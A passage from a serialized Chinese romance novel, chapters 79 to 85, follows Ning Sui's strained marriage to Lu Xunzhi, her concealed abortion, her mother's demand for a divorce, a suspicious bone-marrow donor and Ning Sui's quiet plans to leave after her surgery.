唐佳笑瞬间红了眼眶,虽然知道这样或许没用,但唐佳笑还是横了心。 她扑通一声跪在桑甜跟前,对方吓了一跳,赶紧起身去拉她,“有什么事,你站起来说。” 唐佳笑不肯起,抓住桑甜的手臂,“桑总,求求你,救救宁穗吧,我真的没别的办法了。” …… 挂断了唐佳笑的电话,宁穗怔怔坐在床边,眼泪就像是断线珠子,不受控制地往下落。 而她的表情却是麻木的。 这样的结果,在宁穗的意料之中。 她其实想得很清楚,陆勋之之所以不肯离婚,无非就是顾忌奶奶那边。 还要她留下一个孩子,至少是对奶奶的交代。 宋姜的孩子,再怎么说都是私生子,名不正言不顺。 但是宁穗如果生一个,那就不一样了。 至于她,到时候就去母留子好了。 宁穗嘴角勾起嘲笑,凭什么? 她才不会让他们如愿。 宁穗重新振作起来,抹了一把眼泪。 手机震动,是陆勋之发来的信息,【别哭了,下来喝粥。】 宁穗愣住,后背瞬间起了一层鸡皮疙瘩。 她倏地起身,开始翻找各个角落。 但都没发现有摄像头。 房门被人推开,陆勋之端着碗出现在门口,看到她的动作微微一顿,“找什么?” 宁穗直起身,也懒得跟他周旋,实话实说,“找你藏的摄像头。” 陆勋之眉心拧起,“我没你想的这么龌龊。” 宁穗却轻哼一声不置可否。 陆勋之气的肝疼,以前他怎么没发现,宁穗这么倔。 他下颌要紧又松开,压了压火气,将碗递到她跟前,“你刚才什么都没吃,喝点清粥。” 顿了一下,他又说:“不是药膳。” 宁穗垂眸瞥了一眼碗,大米菜粥,看上去很可口,她确实饿,胃里又空又烧,接了过去,吃了几口。 随即她听到陆勋之问,“你是在哪做的手术?不在御城?” 第80章 南墙我已经撞过了 宁穗的手一顿,她的心提到嗓子眼。 陆勋之这样问,说明他已经暗中查过宁穗的就诊记录。 这是要秋后算账吗? 要是被他知道,是裴斯年给宁穗安排的手术,会不会找裴斯年的麻烦? 她已经连累了唐佳笑和王习,不能再给裴斯年添麻烦。 面上不显,宁穗淡淡说:“小诊所,没记录。” 周身的气息瞬间降了几度。 宁穗余光瞥了一眼陆勋之,自顾自喝着粥。 男人捂着脸,好半天才缓过来似的。 开口声音像是被砂纸擦过,沙哑的厉害,透着浓浓的疲惫。 “宁穗,你就算是恨我,你也不顾你自己的身体?那个孩子……ta也是你的孩子。” 就忍心这么随意地处理掉了吗? 这句话,太痛了,陆勋之都没办法说出口。 怎么会不痛呢?宁穗甚至都不敢去想。 一想起来,连呼吸都痛。 做完手术之后,她想要把孩子带回去,虽然ta还只是一个小肉球,根本没成型。 但那也是她的宝贝。 她是想带回去好好安葬,可是不符合规定,要当做医疗废物处理掉。 她哭了好久,最后在海城给孩子买了一个衣冠冢。 她不会告诉陆勋之,他不配知道。 宁穗压了压眼底的湿润,冷漠道,“说得好像你在乎一样,现在才说这个,是不是太虚伪了。” 他跟宋姜的孩子,才是他的亲孩子。 宁穗就算没生病,生下这个孩子,陆家也不会给她养。 最后只能当做宋姜孩子的保护伞,陪衬品。 她不要。 她受过的苦,凭什么还要让孩子再受一遍。 陆勋之有一点说得对。 将来宁穗会好起来,她还会有自己的孩子,但跟陆勋之,没有任何关系。 陆勋之疼的靠在墙边,沉默下来,难得没有跟宁穗顶嘴。 宁穗喝了半碗粥,胃里暖和起来。 就在这时候,宁安静的电话打了进来。 宁穗先是愣了一下,调整好情绪才接通,“妈。” 宁安静的声音很冷淡,“你在哪儿?” 宁穗心里一揪,张了张嘴,瞎话还没编出来,就听到宁安静说:“是不是在景园?” 宁穗语塞,送宁安静回去的时候,口口声声答应宁安静她会处理好自己和陆勋之的关系。 但是现在她又出现在景园,算什么事? “妈,我其实……” “我在景园门口,是你出来,还是我进去?”宁安静的话,像一道雷,劈得宁穗乱了分寸。 “妈,我、我去接你。”宁穗慌乱起身,被陆勋之拉住胳膊。 他大概也听出来是怎么回事,“我让人去接,你在这等着。” 宁穗有些乱,心思都在宁安静为什么突然来这里上,分不出精力想别的,便点了点头。 男人拿出手机打了一通电话出去。 宁穗焦急的双手绞在一起,慌乱地要下楼。 男人又拉住她,宁穗拧眉明显有些烦。 但陆勋之蹲下身,抓住她的脚腕抬起,给她套上了棉拖鞋。 是跟她的普通拖鞋同款的拖鞋,一看就是全新的。 宁穗愣了愣,看着陆勋之很有耐心地帮她穿好,然后直起身。 两人一高一低对视,宁穗能明显看到他眼尾泛红。 “一会儿妈要是动手,你往后退。”陆勋之交代完,拉着她的手,往楼下走。 她还在怔愣在陆勋之这句话什么意思,完全没顾上从他手里脱出来。 就这样被他拉着下楼,走到客厅的时候,宁安静已经被唐桓带进门。 她一进来,视线就锁定了宁穗,看到两人拉着手,宁安静的脸色倏地沉下来。 宁穗愣了一下,赶紧抽回了手。 陆勋之手掌里一空,手指蜷了蜷,他首先上前,“妈,您怎么来了?” 宁安静很淡地扫了他一眼,陆勋之心口一紧,这个眼神,比上次还要冷淡。 她越过陆勋之,看向宁穗,“你打算什么时候跟他离婚?” 陆勋之侧身挡住宁穗,看向宁安静,恭敬道,“妈,我们没打算离——” “我没问你!”宁安静冷声打断陆勋之,对方只好闭嘴,她转而看向宁穗,“说话,宁穗,回答我。” 宁穗双手紧紧握成拳,唇角抿直,她不敢回答,说不离会伤宁安静的心。 说离,陆勋之会对付王习和唐佳笑。 “宁穗,你跟我出来。”宁安静转身要走出去,陆勋之却拉住她。 “妈,您和宁穗都不能着凉,你们在屋里说,我出去。”说完,陆勋之恭敬颔首,走出大门,带上了门。 硕大的客厅里只剩下母女俩,气氛却依旧剑拔弩张。 好半天,宁安静才叹了口气,语气是浓浓的疲惫,“你跟我说实话,你到底知不知道宋姜怀了陆勋之的孩子?” 宁穗瞳孔微缩,怔怔望着宁安静,“您怎么会……”知道。 宁安静痛心疾首,“你这个孩子,你傻不傻?他都跟别人有孩子了,你还在坚持什么?” 宁穗垂了眸子,死死咬住下唇。 突然想到什么,宁安静压低了声音,“他威胁你了?是不是?” 陆家是什么尿性,宁安静年轻时就见识过,尤其是郑美婵,所以她不想让宁穗嫁过来。 宁穗拉住宁安静的手,“妈,对不起,我会离婚的,但不是现在,等我安排好一切,我一定会离开陆家。” “你跟我说实话,你还爱他吗?”宁安静问。 宁穗摇头,“南墙我已经撞过了,不想再试。” 头破血流,差点要了她的命。 宁安静点点头,“好,你也长大了,我总不能押着你去离婚,不过,穗穗,你自己想清楚,什么时候脱身,怎么脱身,不要恋爱脑。” 她整理了一下衣襟,“这段日子,我正好有个交流活动,要去外地一个月,不会在学校。你正好趁这个时间解决好这件事。” 宁穗眼睫颤动,她突然想到什么,“妈,宋姜去学校找你了?” 不然宁安静怎么会知道宋姜怀孕的事。 宁安静哼笑一声,“何止,还有郑美婵。那架势,他俩才是婆媳。穗穗,你斗不过郑美婵的,她没有底线。而你,太善良。早点离开陆家才是正事。” 宁穗愣了愣,听宁安静的语气,她好像跟郑美婵认识很久,可之前没见他们有交集。 两人见面的次数不多,看上去也很生疏,不像是熟人。 “妈,你为什么这么说?你跟郑美婵有过节吗?” 第81章 下位者的恳求 宁安静愣了一下,眼底闪过一丝异样,没有正面回答宁穗的问题。 “穗穗,要不你跟我走吧,我去跟老太太说,让她劝陆勋之离婚。再不济,就等两年分居。直接起诉离婚。” 宁穗抿唇。 老太太都知道宋姜和孩子的存在,还让她好好跟陆勋之过。 再说,陆勋之要是不想离婚,到时候宁穗起诉有用吗? 陆家的律师团都不是吃素的。 但这些,宁穗跟宁安静说不通的,她只能先安抚住宁安静,“妈,您放心,我有办法的。” “你真的有办法?”宁安静的声音有些哽咽,是真的心疼宁穗。 宁穗红了眼圈,她抱住宁安静,“对不起妈,都是我连累你。” 宁安静心疼拍拍她的后背,声音也带了哽咽,“行了,别哭了。小月子也要好好养。” 宁安静想留下照顾宁穗,可是现在的情况是,她留下,只会成为宁穗被人威胁的软肋。 两人抱了一会儿,宁穗送宁安静出门。 陆勋之就在台阶下等着。 初冬的温度很低,陆勋之只穿了休闲家居服,嘴唇冻得有些发白。 “妈,我让人送你回去。”陆勋之上前。 宁安静没看他,冷淡道,“不用了,受不起。” 陆勋之脸色僵硬了一瞬,垂眸低头什么都不敢说。 唐桓见自己家老板吃瘪,赶紧上前解围,“宁老师,这边不好打车的,我开我私人车送您。” 宁安静对唐桓倒是还算客气,“会不会太麻烦你了。” 唐桓笑着摇头,“不会的,车就在那边,我带您过去。” “谢谢。”宁安静转身摸了摸宁穗的发顶,“答应我,好好照顾自己。” “知道了妈。” 三个人你一句我一句,就跟一家人似的。 只有陆勋之像是个局外人,在旁边连一句话都掺和不进去。 陆勋之挫败得很,站在一旁低垂着头不敢说话。 等唐桓带着宁安静离开。 宁穗转身回去,陆勋之才跟上。 他拉住宁穗的袖口,“妈跟你说什么了?” 语气很轻,生怕惹宁穗不开心。 “让我跟你离婚。你离吗?” “不离。”陆勋之答得很快。 宁穗并不意外他的答案,轻轻甩开他,“那还问什么。” 陆勋之看着宁穗离去的背影,抬手想拉住她,但是手上一空。 他突然有种错觉,他好像什么都抓不住了。 …… 唐佳笑叫了同城跑腿,宁穗收到东西就开始创作。 景园有一间她的小书房,她很少在这里办公,之前都是去郑美婵给她准备的工作室。 她不想把工作带回家。 以前觉得这里是她和陆勋之温暖的小窝,家就应该是放松的地方。 可是陆勋之经常带工作回来,窝在书房里,甚至忙到后半夜。 她那时候太喜欢他了,总是陪着他一起,觉得这样很幸福。 现在想想,没准陆勋之觉得她很烦。 但这些都不重要了,宁穗现在根本不在乎陆勋之怎么想。 她把书房的布置稍微整理了一下,开始做自己的工作。 唐佳笑的电话拨过来,“穗穗,咱们见个面吧,有个设计,我特别需要你帮忙。” 宁穗没多想,以前他们也有过这种情况,就是互相帮忙解决设计难题。 但她不知道自己能不能出去,“笑笑,我一会儿给你回电话。” 挂断电话,宁穗给陆勋之打了电话过去,那边直接挂断。 宁穗一愣,怔怔看着被挂断的页面,冷不丁气笑了。 手指非常用力地开始编辑信息,但是信息还没编辑完,书房门被敲响。 宁穗抬头的瞬间,陆勋之推门而入。 看到男人有些冷淡的脸,和休闲的装扮,宁穗愣住了。 陆勋之很工作狂,可这都下午了,他都没去上班吗? 这可是大周一。 陆勋之似是看出她的疑惑,“我最近都居家办公,你给我打电话有什么事?” 宁穗回神,她不关心陆勋之为什么不去上班,“笑笑想约我研究下技术难题。我要出去一趟,行吗?” 陆勋之愣住,“就这个事?” 不然呢? 宁穗拧眉,“可以吗?”行不行就给准话。 陆勋之下颌紧了紧,“宁穗,这是你的家,你想出入是你的自由,明白了吗?” 出入自由?宁穗觉得好笑,陆勋之连工作室都不让她去,算什么出入自由。 她懒得跟他计较,既然他这么说,那她就出去。 拿起包,宁穗绕过陆勋之准备离开。 手腕上一紧,宁穗顿住脚步,她低头看了一眼手腕,陆勋之紧紧抓住她。 她心里冷笑一声,就知道没这么简单。 她缓缓扬起眸子,似是看透他根本不可能就这么放她离开,有些嘲讽道,“陆总还有什么吩咐?” 陆勋之对她阴阳怪气的语气很不爽,眉心拧出疙瘩,“我就是想问你去哪儿,什么时候回,还有……要不要等你一起吃饭。” 宁穗露出听天书的表情,每个字都听见了,可凑到一起,完全不知道陆勋之在说什么。 等她吃饭? 突然想到什么,宁穗有些不高兴,“我就出去两个小时,笑笑约我的地点我也可以发给你。但是我不想吃饭。” 陆勋之点头,“我知道你不喜欢那个药膳,我以后不准备了。但是你身体需要调养,我带你去做个检查,开什么药,听医生的。行吗?” 这还是陆勋之第一次跟她商量。 语气甚至带了一丝下位者的恳求。 宁穗挺纳闷的,她的孩子就这么重要吗? 以至于让陆勋之能这么低三下四的,甚至求她。 不过宁穗现在只想赶紧出去见到唐佳笑,这些事,她不想现在就拒绝陆勋之。 万一他生气了,不让她出去。 “再商量吧,笑笑还在等我。” 算是松了口,陆勋之的眉心舒展开来,拇指在她的手腕上轻轻摩挲了一下,“那我等你。” 宁穗表情有些不自然,迅速抽回手离开。 到了约定的包间,唐佳笑已经坐在里面,宁穗坐下,笑着打趣,“还有你解决不了的事?” 唐佳笑表情有些严肃,起身走到旁边。 宁穗这才发现,原来那里有个暗门,通着隔壁房间。 下一秒唐佳笑拉开门,王习从那边走了过来。 第82章 陆总真是尊重太太 宁穗愣住,“师兄,你怎么……” 王习苦扯了下唇,“我知道你现在不方便见我,但是有件事,我想跟你聊聊。” 陆勋之打电话的恶劣行径,让宁穗很恼。 她没脸跟王习联系,所以对方换了几个号码给她发信息,她都没回。 王习也猜到,大概是陆勋之不让她见他。 只能选择这种方法。 “穗穗,我知道你是为了我好,怕我被陆勋之报复。但是有件事,我一定要告诉你。之前抓走我要毁掉我的手,不是陆勋之的人。” 宁穗一愣,“不是他?那是谁?” 他并不是想感谢陆勋之,不然他大可以起直接去找陆勋之。 他要告诉宁穗,也是存了私心。 既然陆勋之肯来救他,那必然是宁穗用什么置换。 他不想宁穗为了他,屈尊于陆勋之。 看宁穗的架势,显然误会陆勋之一手策划了这件事。 他说出实情,就给宁穗机会选择离开陆勋之。 王习摇头,“我现在也不清楚,但如果当时陆勋之的人没有赶到,我可能就真的废了。陆勋之要是想对我动手,也不用等到现在。” 宁穗知道王习是陆父的私生子。 陆勋之既然早就知道王习的存在,的确有的是机会和力气,毁掉王习。 他能纵容王习在御城做出名气,说明他之前根本没想对王习动手。 也有可能是觉得根本没有必要。 宁穗有些生气,陆勋之既然没抓王习,为什么要承认,害得她找错了方向。 而且还害得她受制于陆勋之。 王习突然抓住了宁穗的手,“穗穗,不要再在陆勋之身边待了好不好?我们已经在想办法了,一定会把你救出来的。” 唐佳笑抓住她另一只手,“我已经跟桑甜说过,她说会想办法帮我们。” 宁穗听到桑甜愣了愣,完全没顾上从王习手里抽出手,而是看向唐佳笑,“你找桑甜了?” “对,她会帮忙,但是要等一个时机。” 宁穗不是没想过求助于桑甜。 但是上次她想到周家的美术馆工作,机会却落到宋姜头上。 以周陆两家的关系,加上陆勋之和周南昭本来就熟,周家自然是向着陆勋之的。 宁穗不想给桑甜添麻烦。 她自己都在想办法离婚。 宁穗沉默了一瞬,“我知道了,谢谢你们。” …… “陆总,这回瑶瑶的骨髓,要多谢你和宋小姐。”陈总特别感激。 “陈总太客气。我也要谢谢陈总,能把筹码都压在我这边。”陆勋之难得露出一点笑意。 这次项目,有陈总的助力,那之后陆勋之在陆氏的地位会更加稳固。 “包厢就在前面,请。”陈总带路。 陆勋之特意约了这边,想着一会儿接上宁穗一起走。 路过宁穗给他的包厢号,他还顿了一下脚步。 “陆总是很喜欢这家的菜式?”陈总随口问。 陆勋之抬步,“没有,我太太也在这家餐馆见朋友。” “是吗?那我们去打个招呼?”陈总说。 “不用了,她跟闺蜜见面,我就不掺和了。” “陆总真是尊重太太。” 陈总接了电话,先一步走开。 陆勋之正要走,服务员走过来,推开宁穗定的包厢门。 陆勋之下意识地扫了一眼,正看到宁穗坐在那,一只男人的手抓着她的手腕。 他眼神倏地一紧,猛地推开门进去。 还不等宁穗反应过来,他一把拉起宁穗的手肘,将人带到跟前。 视线像是刀子一样,一寸寸刮过宁穗的脸,“这就是你说的?再也不跟王习见面?” 不但见面,两人居然还拉手。 宁穗气笑了,“我没说不见面,我说的是不单独见面。” “呵,是吗?你的好朋友,看着你俩拉拉扯扯,那还真是决定好朋友。”陆勋之阴阳怪气唐佳笑。 唐佳笑早就不爽他了,“你凭什么管她,你自己又干净到哪儿去?人脏看什么都脏。” 陆勋之本来就在气头上,听到唐佳笑这么挑衅自己,倏地看过去,眼神像是能刀人。 唐佳笑被他这么一看,吓了一跳。 宁穗心疼唐佳笑,下意识地想阻止陆勋之,没得办法,蹭的抬手,捂住了他的眼睛。 温凉的手掌盖上来,陆勋之的火气突然就散掉了一大半。 见他没反应,宁穗赶紧用眼神示意唐佳笑和王习快走。 唐佳笑也知道现在不是硬刚的时候,只好拉着王习离开。 王习一步三回头地看,见宁穗和陆勋之亲密的样子,心里很不是滋味。 服务员更是不敢待,直接跟在后边,还贴心地带上门。 房间里安静下来。 宁穗才缓缓放下手,陆勋之在半空中抓住她的手腕,拉她到洗手间,放在水流下一直冲洗,还上手搓。 眼底都是偏执。 搓到宁穗的皮肤都有点痛了。 宁穗拧眉抗议,“疼。” 陆勋之似是才回神,关上水管,帮她擦干,手上的动作比刚才轻了一些,但明显还带着气。 宁穗盯着他的侧脸,优越的山根、下颌线,就算他冷着脸,依旧那么迷人。 “你根本就没抓王习,为什么不说?” 陆勋之的动作一顿,冷笑,“所以呢?知道我没动他,你就又起了心思,想跟他在一起了?宁穗,你想都别想。” 宁穗觉得好笑,“陆勋之,你为什么到现在还不明白。我要跟你离婚,跟别人没关系,是因为我跟你过不下去了。” 陆勋之突然捂住她的嘴,眼尾猩红,几乎是咬着牙,“我不想听到这句话,以后不许说了。” 手机铃声在洗手间里回荡,格外刺耳。 陆勋之拿出来接通,“陈总,好,我马上过来。” 挂断电话,陆勋之拉着宁穗出门,走到餐桌旁,他另一只手拎起宁穗的包。 “我让唐桓送你回家。你在家乖乖等着我。” 唐桓送宁穗,车子一路开到景园,宁穗下车说了谢谢,自顾自往前走。 身后传来的开关门的声音,随即唐桓叫住她,“太太,其实陆总一直很在乎你。” 这句话,唐桓已经不是第一次说。 宁穗并没有放在心上,但她还是顿住步子,转过身看向他。 毕竟唐桓对她一直都很恭敬。 “太太,其实唐佳笑小姐的店不是陆总找人闹事,是三房那边的人,想给陆总找麻烦。他们现在蹦跶不出大水花,就用这种下三烂的方式,从您这下手。” 第83章 我们重新开始,行吗? 宁穗在客厅枯坐了一小时,听到了大门电子锁打开的声音。 陆勋之带了一身的酒气走过来,落座在她身旁,一把抱住了她。 似是依恋地在她的颈窝里深嗅了下。 宁穗对这种程度的亲昵有些不习惯,试图推开他,“你喝多了,我给你倒点蜂蜜水。” 她只轻轻用力就从陆勋之的怀里挣扎起来。 男人疲惫地靠在沙发背上,阖上眸子,不知道是睡着了,还只是闭着眼。 宁穗去厨房找出蜂蜜,倒了温水,还有些出神,水流到手上,她才反应过来,又重新冲了一杯。 拿着杯子走到客厅,陆勋之的头微微歪着,看上去像是睡着了。 宁穗倾身放下杯子,听到陆勋之嘟囔着什么。 她下意识地凑近,呢喃声从男人的唇角溢出。 声音不大,却强势地钻进她的耳朵里,“穗穗,穗穗……别走。” 男人的声音沙哑非常,透着浓浓的乞求。 五年婚姻,她对陆勋之太了解,他这个样子是喝醉了。 陆勋之很少喝酒,更很少喝醉。 上一次,还是刚结婚一年的时候。 那段时间,她和陆勋之其实相处已经有了转变。 陆勋之从一开始的冷漠,到后来,也会按时回家跟她一起吃饭。 大概那时候陆勋之在陆氏的地位相对比较稳固,他心情也好吧。 现在想想,并不是陆勋之想回家陪她,而是他生活轻松了一些,需要有人来调剂。 而她不过是陆勋之闲暇时候逗一逗的猫猫狗狗。 因为从那次醉酒之后,陆勋之就又恢复了对她的冷漠。 那时候开始,陆家三房跟他的争斗就放到了明面上。 陆勋之那时候腹背受敌,对宁穗的态度也急转直下。 如今再看他这个样子,宁穗竟有些错觉。 好像他们又回到,结婚第一年的时候。 虽然陆勋之对她的态度转变很微小。 但总比完全的冷漠要强得多。 她垂眸看着陆勋之,对方紧紧闭着眼,眼尾有一滴湿润,反射着晶莹的光芒。 宁穗怔住,心里闪过一丝凄凉。 等她反应过来的时候,自己的手已经抚上了陆勋之的脸颊。 男人眉心轻折,闭着眼睛,仍精准地握住宁穗的手,压在唇边,轻吻她的指尖。 一下一下,最后含.住了她的指腹。 宁穗猛然回神,想要撤回。 陆勋之压住她的后脑,将人带到跟前,掺杂着淡淡酒香的吻贴过来。 男人似是在梦里一般,所有的动作都是由着本能使然。 宁穗也被他身上的酒气给熏醉了,身体不受控一般,从开始的抗拒,到搂住了他的脖颈。 她人生的大部分时间都在循规蹈矩。 自从她得病之后,就完全失控。 既然失控,那就彻底一点吧。 宁穗扬起脖颈,回应着陆勋之的吻。 全然是身体的反应,已经完全脱离了理性。 可就在这时,陆勋之顿了顿,缓缓睁开眼,眼底的迷离,在看清眼前的宁穗时,一瞬间清醒。 这段时间,他梦里每每出现宁穗。 但没有一次会这样热情地对他。 他甚至有些恍惚,那些让人悚然的事情一件都没有发生。 宋姜没有怀孕,宁穗也没有流产。 他的人生,终于有一次,不是在失控中勉强维持。 而是像个正常人一样,能够有朴素的生活。 男人突然顿住,宁穗茫然地睁开眼。 在看到他眼底的清明时,宁穗的理智也在一瞬间找回,她猛地推开陆勋之。 但刚才的热烈之下,她已然坐在他的腿上,猛地用力,让她重心不稳,险些跌倒的一瞬间,一个力道将她捞起来。 下一秒被压倒在沙发上。 男人居高临下地打量她,眼底满满的不确定。 视线一寸寸划过宁穗的脸颊,看着她的脸颊逐渐变成桃粉色。 陆勋之再次靠近,宁穗却撇开了脸,猛地推开他。 刚走出去一步,又被陆勋之抱坐在腿上。 男人从后抱住她,下巴压在她的肩窝里,语气被酒精裹得沙哑,也因此没了攻击力,“宁穗,我们重新开始,行吗?” 宁穗愣住,她没有再去推开陆勋之,两人就这么安静的没有说话。 半晌,陆勋之微微转头,鼻尖蹭宁穗的耳珠, 宁穗使劲闭了眼睛,她没有发脾气,而是淡淡地说:“陆勋之,我们之间隔着一个孩子。” 还怎么可能重新开始? 陆勋之的手臂一僵,随即更加用力地收紧。 好像他松一点点,宁穗就会从他身边溜走。 脑海里对那个尚未蒙面的孩子,只有一个模糊的印象。 他的心也在滴血。 “穗穗,我们再要一个孩子,会有的,一切都会好起来的。” 陆勋之反反复复碎碎念,声音到最后愈发哽咽。 宁穗扯唇苦笑,再要一个,那她的孩子,就要当宋姜孩子的背景板吗? 她不要。 “陆勋之,你喝醉了。”宁穗扯开他的手,起身离开。 男人看着自己空荡荡的手掌,皙白的掌心,因酒精而透出淡淡粉红。 他缓缓收紧手指,指尖嵌入皮肤。 …… 接下来的时间,宁穗很少见到陆勋之。 两人之间几乎没有互动。 他不知道在忙什么,从早到晚,偶尔很晚,宁穗半夜醒来口渴喝水,路过书房,会看到门缝里的亮光。 两个人就像是最熟悉的陌生人,只是生活在一个屋檐下。 那一晚上的亲昵仿佛是一场梦,梦醒了,两人又回到不相往来的状态。 宁穗的行动没有再被限制。 她没有去陆勋之给她准备工作室,陆勋之也没再提起这件事。 转眼过去半个多月,宁穗基本就在书房里待着,潜心做自己巡展设计。 她想在做手术之前,把核心的几个作品做好。 接到典当行的电话时,宁穗正好在画最后几笔。 她随手接通,客气道,“林老板,你好。” 对方笑呵呵地对宁穗说:“宁师傅,我也没什么特别的事,我只是今天收了一个物件,很像你的风格,打眼一看,还真是你的。但我看是私藏,就想问问你。” 宁穗顿了一下,缓缓放下画笔,“送去典当的人,长什么样子?” 第84章 宁穗多心? 宁穗和林老板合作了很久,她之前被郑美婵压榨的时候,自己几乎没有收入。 全靠唐佳笑给她拉了一些伙计,还有就是林老板请她帮忙鉴定、修补一些老物件。 所以林老板对宁穗的个人习惯很了解。 宁穗手底下出的作品,是商用还是私藏,落款有一些差异。 这个小小的差异只有熟悉的人,或者内行才能看出来。 林老板,“是个二十出头的小姑娘,淡褐色头发。我一看就是行外的。人被我找借口留下了,你要不过来看看。” 宁穗想了想,“好,麻烦您,我马上过去。” 典当行大厅里,方娟来回踱步,手指不停地拨出电话出去,对方都没有接听。 她急得无声骂街,后来好不容易接通,她赶紧往门外走。 那头传来很不耐烦的语气,“有什么急事?” 方娟也有些急,“你答应我的钱还没到账,不会是想赖账吧?我可是知道,宁穗那边也很有钱,大不了我就去找她要。” 她都要给宁穗捐骨髓了,要点钱不过分吧。 刚才她拿着宁穗的作品去典当,对方一看就说这个要老板来过眼。 到现在都还没出来,那肯定是值钱的玩意。 既然这样,她干嘛还要跟对方合作,干脆跟宁穗合作好了。 对面立刻急了,“你答应我在前,你又反悔?当心你什么都拿不到。你这么出卖宁穗,以为对方会放过你?” 方娟也有些烦了,“你不用威胁我,反正我只认钱,谁给钱,谁就是我爹。半小时内我要是见不到钱,我就给宁穗打电话。” 说完,为了显得有气势,方娟直接挂断了电话,转身的时候,狰狞的表情都没来得及收起来,就撞见宁穗。 对方正狐疑地看向她,方娟后背一僵,随即挤出笑意,乖乖巧巧,“穗穗姐。” 跟刚才恶劣的语气完全不同。 宁穗心里有些异样。 其实老板给她发作品照片的时候,她就认出,那是她之前送给方娟的。 对方当时那么诚恳地跟她要了东西,现在却送到典当行来。 方娟心里更忐忑,见宁穗拧着眉什么都没说,担心刚才的对话她听到了。 就在这时,林老板出来,迎上宁穗,“宁师傅,就是这位小姐拿了你的内画壶来典当。” 林老板后边还跟了两个小徒弟,那架势,明显是来给宁穗撑场面的。 显然宁穗一句话,他们就会把方娟拿下报官。 方娟是聪明人,一下子就看明白了。 她卖宁穗的作品,算是踢到铁板了。 她还专门跑到御城来典当。 没想到宁穗也在御城。 之前裴斯年一直说会在海城做手术,还以为宁穗是常在海城。 方娟也有些慌了。 她现在可不能露馅,不然她就两边都得罪,一根毛也拿不到了。 “对不起啊,穗穗姐,我是来典当你给我的内画。”她赶紧解释,声泪俱下,“我家里出了点事情。” 宁穗看了她两眼,客气地对林老板说:“林老板,我跟她单独聊两句。” 她都这样说了,林老板便带着人回了典当行内。 方娟见宁穗还给她留着面子,那就是有的谈。 察言观色这些她最擅长,她赶紧上前抓住宁穗的胳膊,“穗穗姐,我母亲病重,需要很多很多钱。不然我也不会捐骨髓。我跟你说实话吧,其实裴医生私下给我赞助了一些钱,给我妈治病,所以我才同意给你捐献骨髓的。” 宁穗没想到还有这一层关系,微微一顿,不动声色地从她的手里撤回手臂。 语气温和,但透着淡淡的疏离,“东西既然送给你,就是你的,你想怎么处理,是你的自由,我不会干涉,你也不用跟我解释。” 方娟眼角挂着泪,疑惑地看着她。 宁穗淡淡解释,“老板看到是我的作品,所以例行公事问一下。没关系,你要是想当,还可以继续走流程。” “那你不会怪我吧?” 宁穗微微扯唇摇摇头。 方娟见她松口,破涕为笑,抹了一把脸,“那我先去办了,穗穗姐,再见。” 宁穗看着方娟急匆匆地冲进典当行的背影,嘴角的弧度缓缓落下来。 她回到车上,给裴斯年发了信息过去,【裴医生,在忙吗?】 对方直接回了电话过来,“宁穗,怎么了?有哪里不舒服?” 临近做手术,裴斯年就怕宁穗身体出现状况。 骨髓来源得之不易,要是出什么差错,不能手术,宁穗的机会可能就要让出去了。 毕竟很多病人都在等着。 宁穗笑了笑,“裴医生,我挺好的,我听您的话,有好好吃饭睡觉。” 每天早上她还在楼下的花园里简单锻炼一下。 说起来,院子里本来有很多盆栽,后来也都挪开了,好像专门给她准备的活动空间。 裴斯年一听,语气也松了松,声音也透着笑意,“那就好。那你找我是?” 宁穗唇角的笑意敛了敛,“关于方娟的事,我想问问你。她说你给她赞助了一些医药费。” 裴斯年顿了一下,随即笑了,“这你都知道了。你放心,合规合法,我名下有一些慈善基金,就给她家拨了一些。她母亲在我们医院治病,很费钱,她确实需要钱。我只是提供一些人道主义帮助。但这跟她捐骨髓没关系,你放心。” 宁穗知道他误会,赶紧解释,“我不是这个意思,裴医生,你已经帮我很多。赞助给她家的钱,理应我来出。” “都说是基金会出的,就算不捐给她,也要捐给其他人的。不用你给我。”裴斯年直接拒绝,“你要想还我人情,就好好把身体管好,顺利参加手术。” 宁穗眼眶热了热,要不是裴斯年,她也许挺不到现在。 “谢谢你,裴医生。” 那边有人叫裴斯年,他应了一声,随即对宁穗说:“别想那么多,好好照顾自己。就这样,我要去忙了,再见啦。” “再见。” 挂断电话,宁穗陷入沉思。 刚才她只听到方娟跟对方打电话,好像提到了她,具体内容,她没听到。 可是裴斯年说方娟家的情况,倒是跟她自己说的对上了。 是她多心了吗? 最近发生了这么多事,都是针对她的,也不怪她会多心。 宁穗摇了摇头,劝自己,不要什么都往坏处想。 可是三周后,宁穗手术前,方娟联系不上了。 第85章 宁穗做好了离开的准备 一转眼,距离宁穗手术还有三天时间。 这段日子,她和陆勋之几乎没有照过面。 她已经安排好,手术那天,她直接去海城医院,陆勋之问起来,就说她在陪着宁安静。 等手术完成,她恢复几天,就会直接出国。 等陆勋之反应过来,她已经在外国。 至于王习和唐佳笑,宁穗已经拜托了桑甜,对方给她吃了定心丸,到时候会让周南钊护住。 一切都按照宁穗的想法进行。 她的心情很好,三天后,将是她的新生。 可是这天晚上,陆勋之在饭点回来的。 宁穗低头看了一眼自己吃了一半的饭碗,有些茫然,“不知道你会回来,要不,我帮你点个外卖吧。” 景园依旧没有佣人,到饭点就会有做饭阿姨来给宁穗做饭。 这将近一个月,陆勋之都没有回来吃过饭,阿姨也就只做宁穗自己的。 宁穗拿过手机刚打开外卖软件,陆勋之坐在她对面,淡声道,“不用,我不饿。你吃。” 宁穗微微抬头看向他,微微颔首放下手机。 她不会去管陆勋之,到底是真的不饿,还是话里有话。 刚才也不过是单纯心情好,才会帮他一个忙。 在她这里,陆勋之已经不能搅动她一丝情绪。 宁穗继续吃饭,余光瞥见陆勋之一直在看着她,但她也没所谓。 她其实知道,这段日子她的行踪,陆勋之都知道。 有几次她去找唐佳笑,陆勋之让人把营养餐给她送过去。 所以对陆勋之的这种直视,已经无感。 “宁穗。”片刻后,陆勋之突然开口,声音里带着一丝轻松,“这几天,我会居家工作。” 宁穗的手指微微一顿,心里咯噔一下,但还是不动声色地点点头,“嗯。” 似乎对这个结果,并不在乎。 陆勋之也没觉得扫兴,而是继续说:“过两个礼拜,我有一个月的假期,我带你去看极光,好不好?” 之前宁穗一直想去看极光,她想把那种天然的颜色质感,放在自己的设计里。 那是刚结婚的时候了。 那时候她还对自己的婚姻生活抱有幻想。 她喜欢跟陆勋之聊天,但只是单方面的输出,有时候她甚至不知道陆勋之有没有在听她说话。 但她还是不住地分享自己的喜好和畅想。 其实就有去看极光这一项。 后来陆勋之对她很冷淡,她也没再提过这件事。 加上郑美婵每天有很多工作给她,压得她也没了心气。 宁穗怔怔看向陆勋之,没想到他还会记得这件事。 